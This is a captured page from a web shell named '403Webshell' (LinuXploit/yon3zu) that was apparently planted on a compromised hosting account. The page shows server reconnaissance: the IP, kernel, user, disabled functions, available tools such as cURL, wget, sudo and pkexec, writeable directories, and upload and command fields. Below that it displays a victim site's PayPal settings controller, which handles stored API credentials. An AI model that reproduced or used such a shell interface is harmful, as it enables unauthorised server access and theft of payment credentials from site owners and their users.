403Webshell
Server IP : 172.67.178.83  /  Your IP : 216.73.217.141
Web Server : Apache
System : Linux hosting01.arsenalhost.com 4.18.0-425.13.1.lve.el8.x86_64 #1 SMP Mon Feb 27 15:23:24 EST 2023 x86_64
User : corbizre ( 1013)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/corbizre/gotofindhomes.com3/components/User/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/corbizre/gotofindhomes.com3/components/User/Controllers/SettingsPaypalController.php
<?php
/**
 * Documentation
 * @author
 * @category
 * @package
 * @subpackage
 * @copyright  Copyright (c) 2005-2009 ITCrimea Ukraine Inc. (http://www.itcrimea.com)
 * @license
 */
class User_SettingsPaypalController extends System_Controller_Db_Table
{
	/**
     * Documentation
     *
     * @var mixed
     */
	private $UserID = null;

    /**
    * Documentation
    * @author
    * @return mixed
    */
	function init()
    {
        parent::init();
        $this->UserID = $this->getRequest()->getParam('User_ID');
        if (!$this->UserID || $this->UserID==2) {
            throw new Zend_Exception('For Logged Users Only. Please, login');
        }
    }

    /**
    * Documentation
    * @author
    * @return mixed
    */
	function indexAction()
	{
	}

    /**
    * Documentation
    * @author
    * @return mixed
    */
	function editAction()
    {
        $objectPaypal = $this->_model->select()->where('User_ID = ?', $this->UserID);
        $objectPaypal = $this->_model->fetchRow($objectPaypal);
        if (!is_object($objectPaypal)) {
            $objectPaypal = $this->_model->createRow();
            $objectPaypal->User_ID = $this->UserID;
        }
        
        $form = $this->getForm('', 'Edit');
        $form->setDefaults($objectPaypal->toArray());
        
        if ($this->getRequest()->isPost()){
            if($form->isValid($_POST)){
                foreach (array_keys($this->_modelMetaData) as $ColumnName){
                    if($form->getValue($ColumnName) !== null){
                        $objectPaypal->$ColumnName = $form->getValue($ColumnName);
                    }
                }
                $objectPaypal->save();
                $this->addOkMessage('PayPal settings was successfully updated.');
            }
        }
        
        $this->view->form = $form;
    }

    /**
    * Documentation
    * @author
    * @return mixed
    */
    function statusAction()
    {
        $status = 0;
        
        $objectPaypal = $this->_model->select()->where('User_ID = ?', $this->UserID);
        $objectPaypal = $this->_model->fetchRow($objectPaypal);
        if (is_object($objectPaypal)) {
            if ($objectPaypal->Username && $objectPaypal->Password && $objectPaypal->Signature) {
                $status = 1;
            }
        }
        
        $this->view->status = $status;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit